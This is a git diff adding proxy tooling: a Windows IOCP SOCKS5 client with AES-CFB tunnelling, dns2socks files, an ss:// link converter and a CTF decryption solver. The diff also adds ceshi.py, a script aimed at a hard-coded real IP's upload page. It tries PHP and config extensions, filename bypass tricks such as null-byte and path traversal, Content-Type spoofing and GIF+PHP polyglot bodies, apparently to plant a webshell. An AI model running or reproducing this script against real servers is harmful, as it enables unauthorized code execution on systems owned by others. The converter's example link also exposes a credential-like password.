2); + b->state=ST_REQUEST; + LOGI("S5 greeting ok"); +} +static void handle_request(bridge_t* b, const uint8_t* p, size_t n) { + size_t consumed=0; socks5_req_t rq; int r=parse_socks5_request(p,n,&rq,&consumed); + if (r < 0) { LOGE("S5 request invalid"); bridge_start_close(b); return; } + if (r == 0) return; + dbuf_consume(&b->cli_in, consumed); b->req=rq; + LOGI("S5 request cmd=0x%02x atyp=0x%02x host=%s port=%u", rq.cmd, rq.atyp, rq.host, (unsigned)rq.port); + + if (b->req.cmd == 0x01) { + if (b->req.atyp==0x03 && (g_dns_always || host_in_domain_list(b->req.host))) { + LOGI("%s DNS-over-tunnel for %s", g_dns_always ? "force" : "match list, use", b->req.host); + if (!start_dns_over_tunnel_sync(b, b->req.host)) { + socks5_send_reply_log(b->cli_fd, 0x04, "0.0.0.0", 0); bridge_start_close(b); return; + } + return; + } + if (!connect_remote_async(b)) { socks5_send_reply_log(b->cli_fd,0x05,"0.0.0.0",0); bridge_start_close(b); return; } + } else if (b->req.cmd == 0x03) { + b->udp_assoc = udp_assoc_create(b); + if (!b->udp_assoc) { socks5_send_reply_log(b->cli_fd,0x01,"0.0.0.0",0); bridge_start_close(b); return; } + SOCKADDR_IN sin; int slen=sizeof(sin); getsockname(b->udp_assoc->fd,(SOCKADDR*)&sin,&slen); + char bind_ip[INET_ADDRSTRLEN]; InetNtopA(AF_INET,&sin.sin_addr,bind_ip,sizeof(bind_ip)); + socks5_send_reply_log(b->cli_fd,0x00,bind_ip,ntohs(sin.sin_port)); + b->state=ST_UDP_ASSOC; + LOGI("enter UDP_ASSOC bind=%s:%u", bind_ip, (unsigned)ntohs(sin.sin_port)); + } else { + socks5_send_reply_log(b->cli_fd,0x07,"0.0.0.0",0); bridge_start_close(b); return; + } +} + +// -------------------- accept path -------------------- +static void post_accept(SOCKET listen_fd){ + IO_OP* op=op_alloc(OP_ACCEPT,2*(sizeof(SOCKADDR_STORAGE)+16)); + SOCKET as=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,WSA_FLAG_OVERLAPPED); + DWORD bytes=0; BOOL ok=pAcceptEx(listen_fd,as,op->storage,0,sizeof(SOCKADDR_STORAGE)+16,sizeof(SOCKADDR_STORAGE)+16,&bytes,&op->ol); + if(!ok){ int e=WSAGetLastError(); if(e!=ERROR_IO_PENDING){ closesocket(as); op_free(op); LOGE("AcceptEx err=%d", e);} } + op->buf.buf=(char*)(UINT_PTR)as; // stash accepted socket handle +} + +// -------------------- worker thread -------------------- +static DWORD WINAPI worker_thread(LPVOID arg){ + (void)arg; + for(;;){ + DWORD bytes=0; ULONG_PTR key=0; OVERLAPPED* pol=NULL; BOOL ok=GetQueuedCompletionStatus(g_env.iocp,&bytes,&key,&pol,INFINITE); + DWORD gle = ok ? 0 : GetLastError(); + if(!pol){ + LOGI("worker exit signal"); + break; + } + bridge_t* b=(bridge_t*)key; IO_OP* op=(IO_OP*)pol; + + if(op->kind==OP_ACCEPT){ + SOCKET as=(SOCKET)(UINT_PTR)op->buf.buf; + setsockopt(as,SOL_SOCKET,SO_UPDATE_ACCEPT_CONTEXT,(char*)&g_env.listen_fd,sizeof(g_env.listen_fd)); + set_tcp_opts(as); + + SOCKADDR *lpLocal=NULL,*lpRemote=NULL; int lLocal=0,lRemote=0; + pGetAcceptExSockaddrs(op->storage,0,sizeof(SOCKADDR_STORAGE)+16,sizeof(SOCKADDR_STORAGE)+16, &lpLocal,&lLocal,&lpRemote,&lRemote); + char peer[128]; sockaddr_to_string(lpRemote,lRemote,peer,sizeof(peer)); + LOGI("accepted socket=%llu from %s", (unsigned long long)as, peer[0]?peer:"?"); + + bridge_t* nb=(bridge_t*)calloc(1,sizeof(*nb)); + nb->cfg=&g_env.cfg; nb->cli_fd=as; nb->srv_fd=INVALID_SOCKET; nb->state=ST_GREETING; dbuf_init(&nb->cli_in); dbuf_init(&nb->srv_in); + kdf_evp_bytes_to_key_md5((const uint8_t*)g_env.cfg.password, strlen(g_env.cfg.password), nb->key32); + dns_cache_init(&nb->dns_cache); + nb->closing=0; nb->pending_ops=0; nb->freed=0; + + if (!CreateIoCompletionPort((HANDLE)as, g_env.iocp, (ULONG_PTR)nb, 0)) { + LOGE("CreateIoCompletionPort(as) failed gle=%lu", GetLastError()); + closesocket(as); op_free(op); free(nb); continue; + } + + post_recv_(nb, as, OP_CLI_RECV, nb->cfg->recv_buf); + post_accept(g_env.listen_fd); + op_free(op); + continue; + } + + if(!b){ + LOGE("completion key is NULL (gle=%lu), drop op kind=%d", gle, (int)op->kind); + op_free(op); + continue; + } + + // 对取消的 IO(ERROR_OPERATION_ABORTED)做容错 + if (!ok && gle==ERROR_OPERATION_ABORTED) { + LOGD("GQCS: op kind=%d canceled", (int)op->kind); + op_free(op); + LONG left = InterlockedDecrement(&b->pending_ops); + bridge_try_free(b); + continue; + } + + switch(op->kind){ + case OP_CLI_RECV: { + LOGD("GQCS: CLI_RECV %lu bytes", bytes); + if (bytes==0){ op_free(op); bridge_start_close(b); break; } + dbuf_append(&b->cli_in, op->storage, bytes); op_free(op); + if (b->state==ST_GREETING){ handle_greeting(b,(uint8_t*)b->cli_in.data,b->cli_in.len); } + if (b->state==ST_REQUEST){ handle_request (b,(uint8_t*)b->cli_in.data,b->cli_in.len); } + if (b->state==ST_STREAM){ + if (!b->up_ready){ bridge_start_close(b); break; } + if (b->cli_in.len){ + uint8_t* ct=(uint8_t*)malloc(b->cli_in.len); ULONG m=0; + aes_cfb_update(&b->up_enc,TRUE,(PUCHAR)b->cli_in.data,(ULONG)b->cli_in.len,ct,&m); + LOGD("STREAM up: in=%zu enc=%lu", b->cli_in.len, (unsigned long)m); + dbuf_consume(&b->cli_in,b->cli_in.len); if(m) post_send_(b,b->srv_fd,OP_SRV_SEND,ct,m); else free(ct); + } + } else if (b->state==ST_UDP_ASSOC){ + dbuf_consume(&b->cli_in,b->cli_in.len); + if (b->udp_assoc) udp_poll_once(b->udp_assoc); + } + if (!b->closing && b->cli_fd!=INVALID_SOCKET) post_recv_(b, b->cli_fd, OP_CLI_RECV, b->cfg->recv_buf); + } break; + + case OP_SRV_RECV: { + LOGD("GQCS: SRV_RECV %lu bytes", bytes); + if (bytes==0){ op_free(op); bridge_start_close(b); break; } + dbuf_append(&b->srv_in, op->storage, bytes); op_free(op); + if(!b->down_ready){ + if(b->srv_in.len<16){ if(!b->closing) post_recv_(b,b->srv_fd,OP_SRV_RECV,b->cfg->recv_buf); break; } + memcpy(b->iv_server,b->srv_in.data,16); dbuf_consume(&b->srv_in,16); + aes_cfb_init(&b->down_dec,b->key32,b->iv_server); b->down_ready=TRUE; + LOGI("downstream IV received"); + } + if(b->srv_in.len){ + uint8_t* pt=(uint8_t*)malloc(b->srv_in.len); ULONG m=0; + aes_cfb_update(&b->down_dec,FALSE,(PUCHAR)b->srv_in.data,(ULONG)b->srv_in.len,pt,&m); + LOGD("STREAM down: in=%zu dec=%lu", b->srv_in.len, (unsigned long)m); + log_preview("HTTP preview", pt, (size_t)m); + dbuf_consume(&b->srv_in,b->srv_in.len); if(m) post_send_(b,b->cli_fd,OP_CLI_SEND,pt,m); else free(pt); + } + if (!b->closing && b->srv_fd!=INVALID_SOCKET) post_recv_(b,b->srv_fd,OP_SRV_RECV,b->cfg->recv_buf); + } break; + + case OP_CLI_SEND: + case OP_SRV_SEND: + LOGD("GQCS: %s_SEND %lu bytes", (op->kind==OP_CLI_SEND)?"CLI":"SRV", bytes); + op_free(op); + break; + + case OP_CONNECT: + LOGI("ConnectEx completed ok=%d gle=%lu", ok, (unsigned long)gle); + op_free(op); + if(!ok){ socks5_send_reply_log(b->cli_fd,0x05,"0.0.0.0",0); bridge_start_close(b); break; } + setsockopt(b->srv_fd,SOL_SOCKET,SO_UPDATE_CONNECT_CONTEXT,NULL,0); set_tcp_opts(b->srv_fd); + after_remote_connected(b); + break; + + default: + LOGE("unknown op kind=%d", (int)op->kind); + op_free(op); + break; + } + + if (op->kind!=OP_ACCEPT) { + LONG left = InterlockedDecrement(&b->pending_ops); + LOGD("op done kind=%d, pending_ops=%ld", (int)op->kind, left); + bridge_try_free(b); + } + } + return 0; +} + +// -------------------- main -------------------- +int main(int argc, char** argv){ + WSADATA w; WSAStartup(MAKEWORD(2,2), &w); + config_t cfg; parse_args(argc, argv, &cfg); + g_env.cfg = cfg; + + LOGI("=== mx iocp socks5 ==="); + LOGI("listen %s:%d remote %s:%d verbose=%d", cfg.listen_host, cfg.listen_port, cfg.remote_host, cfg.remote_port, cfg.verbose); + LOGI("udp_timeout=%ds connect_timeout=%ds", cfg.udp_timeout, cfg.connect_timeout); + + SOCKET ls=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,WSA_FLAG_OVERLAPPED); if(ls==INVALID_SOCKET){ LOGE("WSASocket listen failed"); return 1; } + SOCKADDR_IN sin; ZeroMemory(&sin,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons((uint16_t)cfg.listen_port); InetPtonA(AF_INET,cfg.listen_host,&sin.sin_addr); + if(bind(ls,(SOCKADDR*)&sin,sizeof(sin))!=0){ LOGE("bind failed"); return 1; } + if(listen(ls,SOMAXCONN)!=0){ LOGE("listen failed"); return 1; } + if(!get_ext_fns(ls)){ LOGE("get_ext_fns failed"); return 1; } + + g_env.iocp=CreateIoCompletionPort(INVALID_HANDLE_VALUE,NULL,0,MAX_WORKERS); g_env.listen_fd=ls; + CreateIoCompletionPort((HANDLE)ls,g_env.iocp,0,0); + + SYSTEM_INFO si; GetSystemInfo(&si); int nthreads=(int)si.dwNumberOfProcessors; if(nthreads<2) nthreads=2; + for(int i=0;i Listen address [default: 0.0.0.0:53] + -d, --dns-remote-server Remote DNS server address [default: 8.8.8.8:53] + -s, --socks5-server SOCKS5 proxy server address [default: 127.0.0.1:1080] + -u, --username User name for SOCKS5 authentication + -p, --password Password for SOCKS5 authentication + -f, --force-tcp Force to use TCP to proxy DNS query + -c, --cache-records Cache DNS query records + -v, --verbosity Verbosity level [default: info] [possible values: off, error, warn, info, debug, trace] + -t, --timeout Timeout for DNS query [default: 5] + -h, --help Print help + -V, --version Print version +``` diff --git a/python/ceshi.py b/python/ceshi.py new file mode 100644 index 0000000..11fbf9d --- /dev/null +++ b/python/ceshi.py @@ -0,0 +1,212 @@ +import requests +import os +import random +import string +from urllib.parse import quote + +# --- 配置 --- +TARGET_URL = 'https://150.40.239.108/ucard_upload.php' +TEST_CONTENT = b'This is a test file content.' +LOG_FILE = "upload_test_log.txt" + +if not os.path.exists('test.tmp'): + with open('test.tmp', 'wb') as f: + f.write(TEST_CONTENT) + +def log_write(msg): + with open(LOG_FILE, "a", encoding="utf-8") as f: + f.write(msg + "\n") + +def print_banner(title): + banner = f"\n{'=' * 60}\n[*] {title}\n{'=' * 60}" + print(banner) + log_write(banner) + +def perform_upload(filename, content, content_type='application/octet-stream', extra_headers=None, extra_data=None): + files = {'file': (filename, content, content_type)} + try: + r = requests.post(TARGET_URL, files=files, data=extra_data, headers=extra_headers, timeout=5) + if "success" in r.text.lower(): + return True, r.text + else: + return False, r.text + except Exception as e: + return False, str(e) + +def fuzz_extensions(): + print_banner("1. 探测文件扩展名") + ext_groups = { + "Web脚本": ['.php', '.php3', '.php4', '.php5', '.phtml', '.phar', '.pht', '.inc', '.phps'], + "Web配置": ['.htaccess', '.user.ini', '.web.config', '.htpasswd'], + "常见文件": ['.jpg', '.jpeg', '.png', '.gif', '.bmp', '.txt', '.html', '.zip', '.pdf', '.docx'], + "可执行文件": ['.exe', '.bat', '.cmd', '.sh', '.ps1'], + "其他脚本": ['.jsp', '.asp', '.aspx', '.pl', '.py', '.cgi', '.rb'], + "特殊类型": ['.svg', '.xml', '.json', '.log', '.swf', '.jar'] + } + + allowed = [] + for group, exts in ext_groups.items(): + print(f"\n--- {group} ---") + for ext in exts: + filename = f"test{ext}" + success, resp = perform_upload(filename, TEST_CONTENT) + status = "✅ ALLOWED" if success else "❌ DENIED" + print(f"{ext:<10} {status}") + if success: + allowed.append(ext) + log_write(f"[+] Allowed extension: {ext}") + + print("\n--- [结论] ---") + if allowed: + print(f"✅ 允许的扩展名: {', '.join(allowed)}") + log_write(f"[结论] 允许的扩展名: {', '.join(allowed)}") + else: + print("❌ 未发现允许的扩展名") + log_write("[结论] 未发现允许的扩展名") + return allowed + +def fuzz_filename_tricks(allowed_ext): + if not allowed_ext: + return + base_ext = allowed_ext[0] + print_banner(f"2. 文件名绕过技巧 (基础扩展名: {base_ext})") + + tricks = { + "大小写混淆": f"SHeLL.PHP", + "双扩展名1": f"shell.php{base_ext}", + "双扩展名2": f"shell{base_ext}.php", + "末尾加点": f"shell.php.", + "末尾空格": f"shell.php ", + "::$DATA": f"shell.php::$DATA", + "空字节截断": f"shell.php%00.jpg", + "换行符": f"shell.php\n", + "URL编码": f"sh%65ll.php", + "超长后缀": f"shell.{'a'*100}", + "非ASCII字符": f"shell中文.php", + "路径穿越": f"../shell.php", + "多后缀组合": f"shell.php.{base_ext}.png", + "分号截断": f"shell.php;.jpg", + "反斜杠": f"shell\\.php", + "双引号包裹": f'"shell.php"' + } + + for desc, fname in tricks.items(): + success, _ = perform_upload(fname, TEST_CONTENT) + status = "✅ SUCCESS" if success else "❌ FAILED" + print(f"{desc:<20} -> {fname:<30} {status}") + if success: + log_write(f"[+] Filename trick success: {desc} | {fname}") + +def fuzz_content_types(allowed_ext): + if not allowed_ext: + return + base_ext = allowed_ext[0] + print_banner(f"3. Content-Type 绕过检测 (文件: test{base_ext})") + + ctypes = [ + 'image/jpeg', 'image/png', 'image/gif', 'image/bmp', + 'text/plain', 'text/html', 'text/xml', + 'application/octet-stream', 'application/x-php', 'application/json', + 'multipart/form-data', 'application/x-www-form-urlencoded', + 'application/zip', 'application/pdf', + 'invalid/type' + ] + + for ct in ctypes: + filename = f"test{base_ext}" + success, _ = perform_upload(filename, TEST_CONTENT, content_type=ct) + status = "✅ ACCEPT" if success else "❌ REJECT" + print(f"{ct:<30} -> {status}") + if success: + log_write(f"[+] Content-Type bypass: {ct}") + +def fuzz_content(allowed_ext): + if not allowed_ext: + return + base_ext = allowed_ext[0] + print_banner(f"4. 文件内容绕过检测 (扩展名: {base_ext})") + + gif_header = b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b' + + contents = { + "纯文本": b"Hello world", + "GIF文件头": gif_header, + "PHP标签": b"", + "短标签": b"", + "GIF+PHP": gif_header + b"", + "PHP+GIF": b"" + gif_header, + "JS脚本": b"", + "HTML+PHP": b"", + "Base64编码PHP": b"PD9waHAgcGhwaW5mbygpOyA/Pg==", + "UTF-16 BOM + PHP": b'\xff\xfe', + "注释包裹PHP": b"/* */", + "空字节截断内容": b" {status}") + if success: + log_write(f"[+] Content bypass: {desc}") + +def fuzz_headers_and_params(allowed_ext): + if not allowed_ext: + return + base_ext = allowed_ext[0] + print_banner(f"5. 请求头与参数绕过检测") + + headers_list = [ + {"User-Agent": "Mozilla/5.0"}, + {"User-Agent": "curl/7.68.0"}, + {"X-Forwarded-For": "127.0.0.1"}, + {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryABC"}, + {"Referer": TARGET_URL}, + {"Authorization": "Basic dXNlcjpwYXNz"}, + {"Cookie": "sessionid=abc123"} + ] + + for i, headers in enumerate(headers_list): + fname = f"header_test{i}{base_ext}" + success, _ = perform_upload(fname, TEST_CONTENT, extra_headers=headers) + status = "✅ SUCCESS" if success else "❌ FAILED" + print(f"Header Set {i+1} -> {status}") + if success: + log_write(f"[+] Header bypass set {i+1}: {headers}") + + print("\n--- 多参数测试 ---") + multi_params = [ + {"file": ("test.php", TEST_CONTENT), "name": "test.jpg"}, + {"file": ("test.jpg", TEST_CONTENT), "upload": "1"}, + {"file": ("test.php", TEST_CONTENT), "type": "image/jpeg"}, + {"file": ("test.php", TEST_CONTENT), "token": "fake_csrf_token"} + ] + + for i, params in enumerate(multi_params): + try: + r = requests.post(TARGET_URL, files=params, timeout=5) + success = "success" in r.text.lower() + status = "✅ SUCCESS" if success else "❌ FAILED" + print(f"Multi-param {i+1} -> {status}") + if success: + log_write(f"[+] Multi-param bypass {i+1}: {params}") + except Exception as e: + print(f"Multi-param {i+1} -> ERROR: {e}") + +# --- 主执行 --- +if __name__ == '__main__': + allowed = fuzz_extensions() + if allowed: + fuzz_filename_tricks(allowed) + fuzz_content_types(allowed) + fuzz_content(allowed) + fuzz_headers_and_params(allowed) + else: + print("\n[!] 未发现任何允许的扩展名,后续测试无法进行。") + + if os.path.exists("test.tmp"): + os.remove("test.tmp") + + print("\n[*] 所有测试完成,日志已写入 upload_test_log.txt") diff --git a/python/ceshi1.py b/python/ceshi1.py new file mode 100644 index 0000000..2676366 --- /dev/null +++ b/python/ceshi1.py @@ -0,0 +1,152 @@ +# -*- coding: utf-8 -*- +""" +CTF 解密脚本:Morse + Zero-Width + Ascii85 + AES(多模式试探) +用法:python solve_flag.py +""" +from __future__ import annotations +from typing import List, Tuple +import base64, hashlib, itertools +from Crypto.Cipher import AES +from Crypto.Util.Padding import unpad + +# ---- 题面(保持 HTML 实体,不要手改)---- +RAW = """...‌‌‌‌‍‍‌‌‌‌‍‬‍‍.- . --... ‌‌‌‌‍‬‌‌‌‌‌‍‬‌...‌‌‌‌‍‬ --...‌‌‌‌‍‬‍ .--- -‌‌‌‌‍‬‍‍.-. ‌‌‌‌‍‍‌-- .-. ‌‌‌‌‍‬.--‌‌‌‌‍‬‌ -.‌‌‌‌‍‌‬.. -.‌‌‌‌‍‬‍‌‌‌‌‍‌‌‌‌‌‌‍‍‌ --‌‌‌‌‍‬. -. ‌‌‌‌‍‍.‌‌‌‌‍‬--- -.‌‌‌‌‍‌‬‌‌‌‌‍‬‌.- ...‌‌‌‌‍‬‍‌.- .-. ‌‌‌‌‌‬‍‬‌‌‌‌‌‌‍..‌‌‌‌‍‍‌‍.- ‌‌‌‌‍‌‌‍-. ‌‌‌‌‍‍‬‬.‌‌‌‌‌‌‬...-‌‌‌‌‍‍‍ ‌‌‌‌‍‍‌...‌‌‌‌‍‍‬‌.- -- ..‌‌‌‌‌‌..‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‌ ‌‌‌‌‍‌‌-.‌‌‌‌‌‍‌-.‌‌‌‌‍‍‌‬‌‌‌‌‍‌‍‬ .. ‌‌‌‌‍‍‍‬.... ..‌‌‌‌‌‍‍..‌‌‌‌‍‍‍‌ .‌‌‌‌‍‌‍‌‌‌‌‍‌‌‬- ‌‌‌‌‌‍‬.. .‌‌‌‌‍‍‬‍--‌‌‌‌‍‌‬‌‌‌‌‌‍‌‬- ‌‌‌‌‌‍-‌‌‌‌‍‍‍‍-‌‌‌‌‍‌‬‬-‌‌‌‌‍‌‍-.‌‌‌‌‌‬‌ ..-. .‌‌‌‌‍‌‬‍-- -. ...‌‌‌‌‍‌‬‌‌‌‌‌‬‍ ‌‌‌‌‍‌.---‌‌‌‌‍‌‌ ‌‌‌‌‌‌‌..‌‌‌‌‍‍‌‌-‌‌‌‌‌‬‍‬ -‍‬‍‌‍‍‍‌‌‌‬‍- .-- ‍‍‌‌‌.‍‌‬‬‍‬‬.‍‍‌‬‬‬‌‌‍‍‬‌‍‬-. ‍‍‍‌‬‌‌.‌‌‌‌‍‬‌‬. ‌‌‌‌‍‬‌‍--..‌‌‌‌‍‌. -..-‌‌‌‌‍‬‍‍ ...‌‌‌‌‌‌ ...‌‌‌‌‌‌‬-- ‍‍‍‍‬‍‍-.-‌‌‌‌‍‬. .. 还真是!实际上是这样""" + +# ---- Step1: 提取摩斯并 Base62 → 36B 密钥素材 ---- +import html as _html +MORSE = {".-":"A","-...":"B","-.-.":"C","-..":"D",".":"E","..-.":"F","--.":"G","....":"H","..":"I", + ".---":"J","-.-":"K",".-..":"L","--":"M","-.":"N","---":"O",".--.":"P","--.-":"Q",".-.":"R", + "...":"S","-":"T","..-":"U","...-":"V",".--":"W","-..-":"X","-.--":"Y","--..":"Z", + "-----":"0",".----":"1","..---":"2","...--":"3","....-":"4",".....":"5","-....":"6", + "--...":"7","---..":"8","----.":"9"} +decoded = _html.unescape(RAW) +morse_only = ''.join(ch for ch in decoded if ch in '.- ') +morse_text = ''.join(MORSE.get(tok, '?') for tok in morse_only.split()) +# Base62 解码 +import string +B62 = string.digits + string.ascii_uppercase + string.ascii_lowercase +val = 0 +for ch in morse_text: + val = val * 62 + B62.index(ch) +b62_bytes = val.to_bytes((val.bit_length()+7)//8, 'big') or b'\x00' + +# ---- Step2: 解析零宽 → Ascii85 → 密文字节 ---- +ZWS = (0x200C, 0x200D, 0xFEFF, 0x202C) # ZWNJ, ZWJ, ZWNBSP, PDF +codes = [ord(c) for c in decoded if ord(c) in ZWS] + +def ascii85_candidates() -> List[bytes]: + out: List[bytes] = [] + for perm in itertools.permutations(ZWS, 4): + mp = {perm[i]: format(i, '02b') for i in range(4)} + bits = ''.join(mp[c] for c in codes) + for off in range(8): + bbits = bits[off:][:len(bits[off:])//8*8] + if not bbits: continue + data = int(bbits, 2).to_bytes(len(bbits)//8, 'big') + for take in (data, data[0::2], data[1::2]): # 全量/偶/奇抽样 + s = bytes(ch for ch in take if 33 <= ch <= 117 or ch == 122) # 过滤到 Ascii85 合法区 + if len(s) < 20: + continue + try: + blob = base64.a85decode(s, adobe=False) + out.append(blob) + except Exception: + pass + # 去重 + uniq: List[bytes] = [] + seen = set() + for b in out: + h = hashlib.sha1(b).hexdigest() + if h not in seen: + uniq.append(b); seen.add(h) + return uniq + +a85_blobs = ascii85_candidates() +assert a85_blobs, "没解析到任何 Ascii85 候选;请确认文本原样未被改动" + +# ---- Step3: 生成密钥候选(16/24/32)---- +def key_candidates() -> List[bytes]: + C: List[bytes] = [] + srcs = [morse_text.encode(), b62_bytes] + for s in srcs: + C += [hashlib.md5(s).digest(), + hashlib.sha1(s).digest()[:16], + hashlib.sha256(s).digest(), + hashlib.blake2b(s, digest_size=32).digest()] + # 额外:直接取 b62 的前/后 16/24/32 + for L in (16,24,32): + C += [b62_bytes[:L].ljust(L, b'\0'), + b62_bytes[-L:].rjust(L, b'\0')] + # 去重 + uniq: List[bytes] = [] + seen = set() + for k in C: + h = (len(k), hashlib.sha1(k).hexdigest()) + if h not in seen: + uniq.append(k); seen.add(h) + return uniq + +KEYS = key_candidates() + +# ---- Step4: 穷举 AES 模式与 IV/nonce 切分,命中 flag ---- +def try_ctr(ct: bytes, key: bytes) -> List[Tuple[str, bytes]]: + outs = [] + L = len(ct) + for split in range(4, min(24, L-4)): + iv = ct[:split]; body = ct[split:] + for nonce_len in range(0, min(15, split)+1): + nonce = iv[:nonce_len]; rem = iv[nonce_len:] + for name, init in (("zero", 0), + ("rem_be", int.from_bytes(rem, "big") if rem else 0), + ("rem_le", int.from_bytes(rem[::-1], "big") if rem else 0)): + try: + pt = AES.new(key, AES.MODE_CTR, nonce=nonce, initial_value=init).decrypt(body) + outs.append((f"CTR split={split} nonce={nonce_len} init={name}", pt)) + except Exception: + pass + return outs + +def try_stream_modes(ct: bytes, key: bytes) -> List[Tuple[str, bytes]]: + outs = [] + L = len(ct) + # CFB/OFB 尝试 iv 在前/后 + for mode_name, MODE in (("CFB", AES.MODE_CFB), ("OFB", AES.MODE_OFB)): + for ivpos in ("head","tail"): + if L <= 16: continue + iv, body = (ct[:16], ct[16:]) if ivpos=="head" else (ct[-16:], ct[:-16]) + try: + pt = AES.new(key, MODE, iv=iv).decrypt(body) + outs.append((f"{mode_name} iv={ivpos}", pt)) + except Exception: + pass + # CBC(尽管不太像) + for ivpos in ("head","tail"): + if L <= 16: continue + iv, body = (ct[:16], ct[16:]) if ivpos=="head" else (ct[-16:], ct[:-16]) + body = body[:len(body)//16*16] + try: + raw = AES.new(key, AES.MODE_CBC, iv=iv).decrypt(body) + try: pt = unpad(raw, 16) + except Exception: pt = raw + outs.append((f"CBC iv={ivpos}", pt)) + except Exception: + pass + return outs + +def solve() -> None: + # 先打印你要的两个“中间产物”,便于复核 + print("[MORSE] =", morse_text) + print("[B62 hex] =", b62_bytes.hex()) + # 遍历所有密文候选 × 密钥候选 × 模式 + for blob in a85_blobs: + for key in KEYS: + for tag, pt in try_ctr(blob, key) + try_stream_modes(blob, key): + s = pt.decode("utf-8", "ignore") + if "flag{" in s.lower(): + print("[HIT]", tag, "key_len=", len(key)) + print(s) + return + print("[X] 未命中。可再加:GCM(带不同 tag 长度)、XOR-探测、zlib 解压后再试。") + +if __name__ == "__main__": + solve() diff --git a/python/converter.py b/python/converter.py new file mode 100644 index 0000000..6c630cf --- /dev/null +++ b/python/converter.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +将自定义节点 JSON 转换为可导入 GUI 的 ss:// 链接。 + +用法: + python to_ss_links.py -i nodes.json -o links.txt + +JSON 输入可为: +- 单个对象 +- 对象数组 + +字段映射: +- 仅处理 method == "aes-256-cfb" (不区分大小写) +- server -> 主机 +- server_port -> 端口 +- PluginOption -> 密码 (若为空/None, 回退到 password) +- mx_head_str -> 作为 ?mx= 参数 +- name -> 作为 #TAG + +输出: +- 文本中每行一个 ss:// 链接 (平铺样式),例如: + ss://aes-256-cfb:dwz1GtF7@112.54.161.34:22404?mx=com.win64.oppc.game.common%3A22021709%2C102024080020541279#韩国专线139 +""" +from __future__ import annotations + +import argparse +import json +import sys +from pathlib import Path +from typing import Any, Dict, Iterable, List, Tuple +from urllib.parse import quote + +METHOD = "aes-256-cfb" + + +def _wrap_ipv6(host: str) -> str: + """IPv6 主机在 URL 中需要方括号。""" + return f"[{host}]" if ":" in host and not host.startswith("[") else host + + +def build_ss_link(server: str, port: int, password: str, mx: str, name: str) -> str: + """构造平铺样式 ss 链接,所有可变字段进行 URL 编码。 + + Args: + server: 服务器地址 (IPv4/IPv6/域名) + port: 服务器端口 + password: 密码 (优先取 PluginOption) + mx: mx_head_str + name: 显示名称 (作为 #TAG) + + Returns: + str: ss:// 链接 + """ + # 密码、mx、name 都要百分号编码;server 若是 IPv6 要加 [] + enc_pwd = quote(password, safe="") + enc_mx = quote(mx or "", safe="") + enc_name = quote(name or "", safe="") + host = _wrap_ipv6(server) + return f"ss://{METHOD}:{enc_pwd}@{host}:{port}?mx={enc_mx}#{enc_name}" + + +def load_items(path: Path) -> Iterable[Dict[str, Any]]: + """加载 JSON,支持单对象或数组。""" + data = json.loads(path.read_text(encoding="utf-8")) + if isinstance(data, dict): + yield data + elif isinstance(data, list): + for item in data: + if isinstance(item, dict): + yield item + else: + raise ValueError("JSON 根节点必须是对象或数组") + + +def convert(items: Iterable[Dict[str, Any]]) -> List[Tuple[str, str]]: + """将条目转换为 (name, ss_link) 列表;仅保留 aes-256-cfb。""" + out: List[Tuple[str, str]] = [] + for i, it in enumerate(items): + method = str(it.get("method", "")).lower() + if method != METHOD: + continue # 只读 cfb + server = str(it.get("server", "")).strip() + port = int(it.get("server_port", 0)) + # 密码优先用 PluginOption;为空则回退 password + password = str(it.get("PluginOption") or it.get("password") or "").strip() + mx = str(it.get("mx_head_str", "")).strip() + name = str(it.get("name", f"node-{i}")).strip() + + # 基本校验 + if not server or port <= 0 or not password: + # 丢弃无效条目 + continue + + link = build_ss_link(server, port, password, mx, name) + out.append((name, link)) + return out + + +def main() -> None: + parser = argparse.ArgumentParser(description="将自定义 JSON 转换为 GUI 可用的 ss:// 链接") + parser.add_argument("-i", "--input", default="nodes.json", help="输入 JSON 文件路径") + parser.add_argument("-o", "--output", help="输出 txt 文件路径(可选,默认只打印 stdout)") + args = parser.parse_args() + + in_path = Path(args.input) + if not in_path.exists(): + print(f"[错误] 输入文件不存在: {in_path}", file=sys.stderr) + sys.exit(2) + + try: + pairs = convert(load_items(in_path)) + except Exception as e: + print(f"[错误] 解析失败: {e}", file=sys.stderr) + sys.exit(3) + + if not pairs: + print("[提示] 没有符合条件 (aes-256-cfb) 的条目。", file=sys.stderr) + + # 打印到 stdout + for _, link in pairs: + print(link) + + # 可选写文件 + if args.output: + out_path = Path(args.output) + out_path.write_text("\n".join(link for _, link in pairs), encoding="utf-8") + print(f"[完成] 已写入: {out_path}", file=sys.stderr) + + +if __name__ == "__main__": + main() diff --git a/python/dns.py b/python/dns.py new file mode 100644 index 0000000..1a56c55 --- /dev/null +++ b/python/dns.py @@ -0,0 +1,17 @@ +import socks +import socket +from dnslib import DNSRecord + +socks.setdefaultproxy(socks.SOCKS5, "172.29.199.152", 10807, True) +socket.socket = socks.socksocket +q = DNSRecord.question("google.com", qtype="A") +query_data = q.pack() + +with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s: + s.settimeout(5) + s.sendto(query_data, ("8.8.8.8", 53)) + data, _ = s.recvfrom(512) + +# 解析返回 +resp = DNSRecord.parse(data) +print(resp) diff --git a/python/dns2socks.h b/python/dns2socks.h new file mode 100644 index 0000000..90af8f3 --- /dev/null +++ b/python/dns2socks.h @@ -0,0 +1,87 @@ +#include +#include +#include +#include + +typedef enum Dns2socksVerbosity { + Dns2socksVerbosity_Off = 0, + Dns2socksVerbosity_Error, + Dns2socksVerbosity_Warn, + Dns2socksVerbosity_Info, + Dns2socksVerbosity_Debug, + Dns2socksVerbosity_Trace, +} Dns2socksVerbosity; + +#ifdef __cplusplus +extern "C" { +#endif // __cplusplus + +/** + * # Safety + * + * Start dns2socks + * Parameters: + * - listen_addr: the listen address, e.g. "172.19.0.1:53", or null to use the default value + * - dns_remote_server: the dns remote server, e.g. "8.8.8.8:53", or null to use the default value + * - socks5_settings: the socks5 server, e.g. "socks5://[username[:password]@]host:port", or null to use the default value + 